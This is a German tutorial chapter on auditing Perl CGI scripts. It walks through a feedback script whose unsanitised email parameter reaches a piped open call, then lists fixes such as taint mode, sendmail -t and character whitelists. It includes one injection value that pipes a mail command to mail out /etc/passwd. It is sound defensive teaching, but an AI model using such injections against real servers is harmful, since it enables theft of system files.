CGI Security / Sichere CGI-Skripten - Eine Einführung
Wolfgang Wiese (www.xwolf.de, xwolf@xwolf.de), April 2000[1. Allgemeines] [2. Klassifikation von CGI-Programmen] [3. Analyse fremder Programme] [4. Analyse lokaler Programme] [5. Referenzen]
4. Analyse lokaler Programme
Im folgendem beschreiben wir die Bug-Suche in einem bestehenden Programm von dem wir wissen wollen, ob es sicher ist, oder nicht. Ausgegangen wird dabei von einem UNIX-System, da nur unter solchen Systemen ein Mindestmaß an Sicherheit gewährleistet ist und die Mehrzahl aller professionellen Webserver unter dem Apache/Unix-Mix arbeiten.
Oberflächliche Analyse
Bei der ersten, oberflächlichen Analyse schauen wir uns gezielt die Funktionen im Programm an, wo ein Sicherheitsloch auftreten könnte. Diese sind bei Perl:
- Systemaufrufe mit open, system, eval, exec, ` `
- Eingebundene Systemaufrufe durch fremde Perlmodule
- Benutzerspezifische eingebundene Routinen
Angenommen, wir durchsuchen das oben bereits genutzt Feedback-Programm, so kann die Analyse folgendermßen aussehen:
|
Nach der Suche nach open(), müssten wir nun eigentlich auch nach den anderen
Systemaufrufen suchen. Da wir aber in dem Aufruf
open(SM, "|$mail $in{'email'}"); einen Anfangsverdacht
haben, schauen wir uns zuerstmal an, wie der Hash %in
gebildet wird.
Sollten wir feststellen, daß in der Subroutine
getcgi kein Parsing nach gefährlichen Sonderzeichen
geschieht, haben wir eine Sicherheitslücke dingfest gemacht und wir brauchen
uns nicht mehr um den Rest zu kümmern, sondern das Programm gleich
sperren.
Code-Analyse
Wenn wir das Programm mit einem Editor/Viewer öffnen finden wir folgenden Code für die Subroutine getcgi:
sub getcgi {
local($in, %in);
local($name, $value);
# If REQUEST_METHOD is POST, use CONTENT_LENGTH. Else, use QUERY_STRING.
if ($ENV{'REQUEST_METHOD'} eq 'POST') {
if ($ENV{'CONTENT_TYPE'}=~ m#^application/x-www-form-urlencoded#i) {
read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
}
}
else {
$in= $ENV{'QUERY_STRING'};
}
# Resolve and unencode name/value pairs into %in
foreach (split('&', $in)) {
s/\+/ /g;
($name, $value)= split('=', $_, 2);
$name=~ s/%(..)/sprintf("%c",hex($1))/ge;
$value=~ s/%(..)/sprintf("%c",hex($1))/ge;
@order_array = (@order_array,$name);
$in{$name}.= $value;
}
return %in;
}
Beim obigen Code handelt es sich um eine Standard-Routine für das
Einlesen von Parametern, die über das Netz kommend, dem Programm
übergeben werden. Die erste if()-Abfrage dient lediglich dazu,
die Parameter in eine Variable $in zu schieben,
egal ob als Übertragungsmethode GET oder POST verwendet wurde.
Danach wird diese Variable aufgesplittet und Sonderzeichen, die durch
die Übertragung codiert waren, wieder hergestellt.
Im Ende der foreach-Schleife wird der jeweilige Parameter in das Hash
geschoben.
Was wir in dem Code nicht sehen ist eine Schleife oder
ein regulärer Ausdruck, in der etwaige Sonderzeichen gelöscht werden.
In anderen Worten: Eine beliebige Hash-Variable, wie z.B. $in{'email'}
hat genau den Inhalt, welcher im Eingabeformular (oder bei der GET-Methode in der URL-Zeile)
eingegeben wurde, inklusive aller Sonderzeichen.
Wie wir also im Kapitel 3. Analyse fremder Programme
bereits angetestet haben, erfährt nun seine Bestätigung: Sollte jemand
als E-Mail-Adresse einen Ausdruck wie
nospam@fasel.com| mail bla@fasel.com < /etc/passwdeingeben, würde dies zum Erfolg führen, die Passwortdatei würde frei Haus und ohne Trinkgeld geliefert werden.
Korrektur
Als SysAdmin ist man leider nicht so häufig in der Rolle eines
B.O.f.H.,
wo man unsichere Programme von Nutzern einfach löschen kann. Viel eher wird
es so kommen, daß man den Benutzer erklären muß wie
der entsprechende Code zu reparieren sei oder man muß es selbst tun (-vielleicht
auch deswegen weil man selbst der Schuldige war).
Oft, wie in diesem Fall auch, sind es nur wenige Zeilen die geändert werden
müssen um das Programm sicher zu machen. Wir kommen damit wieder zurück
zu den gleichen -hoffentlich bekannten- Hinweisen für die Programmierung
sicherer CGI-Skripts:
- Aufruf von Perl bzw. von Perlvariablen im Tainted Modus Behandeln Sie grundsätzlich jede Variable die in irgenteiner Form von einem Benutzer übers Netz gesteuert ist wie ein rohes Ei, gefüllt mit einer Mischung aus Nitro und Flußwassercola.
- Halten Sie sich auf den laufenden was Meldungen von Sicherheitsbugs betrifft und bewahren bleiben Sie selbstkritisch: Jeder, inklusive mir selbst, macht mal Fehler, ist mal abgelenkt oder übersieht mal etwas. Ein gesundes Maß an Selbstüberschätzung ist mitunter gut -hier ist es tödlich.
- Kommentieren Sie ihr Skript so aus, daß jemand anders sich auch darin zurecht findet und erfährt was das Skript an dieser oder jener Stelle macht. Seien Sie jedoch auch nicht zu genau. Programme, bei denen durchweg auf 1 Zeile Programmcode mehr als 3 Zeilen Erklärung kommen, sind ebensoschlimm (für einen Profi sogar schlimmer), wie eines, welches keine Kommentare enthält.
- Sollten Sie einmal ein Skript aus dem Netz holen wollen, lassen Sie die Finger von Skriptarchiven, wo nur ein Downloadlink ohne weitere Informationen, insbesondere ohne Link zum Autor und/oder Versionnummer, zum Skript vorhanden sind. Solche billigen CGI-Archive, die meistens nur der Werbebannerabzocke dienen, sind einer der Hauptgründe, warum unsichere Skripten noch nach Jahren vorhanden sind und genutzt werden.
- Aufruf von von sendmail nur im Modus "-t", da dieser Argumente in der Argumentliste unterdrückt.
- Soweit möglich, bauen Sie ein CGI-Wrapper ein.
- Falls Dateinamen übers Netz gegeben werden müssen und diese Dateien dann geöffnet werden sollen, dann nur in unterhalb ausgewählter Verzeichnisse, aber niemals so, daß ein Verzeichniswechsel möglich ist oder die Dateien gar auf das Root-Verzeichnis zugreifen können. Bei einem Dateinamen sollten Sie nur die Zeichen [a-zA-Z0-9\-\._] erlauben.
- Parsen aller Variablen, die an Systemaufrufen beteiligt sind. In dem obrigen Fall von der Variable $in{'email'} mit: $in{'email'} =~ s/[^a-zA-Z0-9\-\@\.]//g;. Der Nachteil hiervon besteht allerdings, daß man durch diese Methode zwar eine gültige E-Mailsyntax hat, jedoch nicht feststellt, ob wirklich Sonderzeichen in der E-Mailangabe vorhanden waren.
Folgendes kleines Perl-Beispiel zeigt wie man vorgehen könnte:
#!/local/bin/perl
$mail = $ARGV[0];
$old = $mail;
print "Input:\n\t$mail\n\n";
if ($mail !~ m/.*\@.*\..*/i) {
print "Wrong Syntax for E-Mail\n";
exit;
}
print "hehehe..my mail is looking ok.\n";
print "Someone else would now use it to send an email :)\n\n";
print "Ok, now parse all illegal signs:\n";
$mail=~ s/[^a-zA-Z0-9\@\.]//g;
print "\t$mail\n\n";
print "Lets check again...\n";
if ($mail !~ m/.*\@.*\..*/i) {
print "Wrong Syntax for E-Mail\n";
exit;
}
print "Ok, the email got through, but look at it: \n\t$mail\n\n";
if (length($old) != length($mail)) {
print "The given email is not as long as the parsed one.\n";
print "I think this is a good sign that someone tried to do something evil :)\n";
} else {
# Now we can send an email!
}
Ruft man das Skript nun auf mit perl test.pl "bkla@jkhxf.com|/bla/fasel" wird in der letzten Zeile der Unterschied gemerkt und darauf hingewiesen, wärend eine korrekte E-Mail-Adresse auch als solche durchgeht.
Bemerkung
Bei dem herangezogenen Skriptbeispiel für das unsichere Feedback-Programm handelt
es sich um ein reales Beispiel. Das Skript konnte bei der Erstellung dieses Artikels so
wie es hier teilweise angegeben wurde über dessen Homepage und vom CGI-Resource Archiv
geladen werden.
Da das Skript laut Download-Rating der Homepage bereits mehrere Hundert Male
geladen und möglicherweise eingesetzt wurde, und wird, hab ich mich entschloßen
aus naheliegenden Gründen den wahren Namen bis auf weiteres zu maskieren.
[1. Allgemeines] [2. Klassifikation von CGI-Programmen] [3. Analyse fremder Programme] [4. Analyse lokaler Programme] [5. Referenzen]
Info
$Id: cgisec4.shtml,v 1.3 2004/03/08 22:09:09 xwolf Exp $
© 1996 - 2004 by xwolf -
xwolf ist eingetragene Marke beim Deutschen Patent- und Markenamt (Nr. 301 04 380)


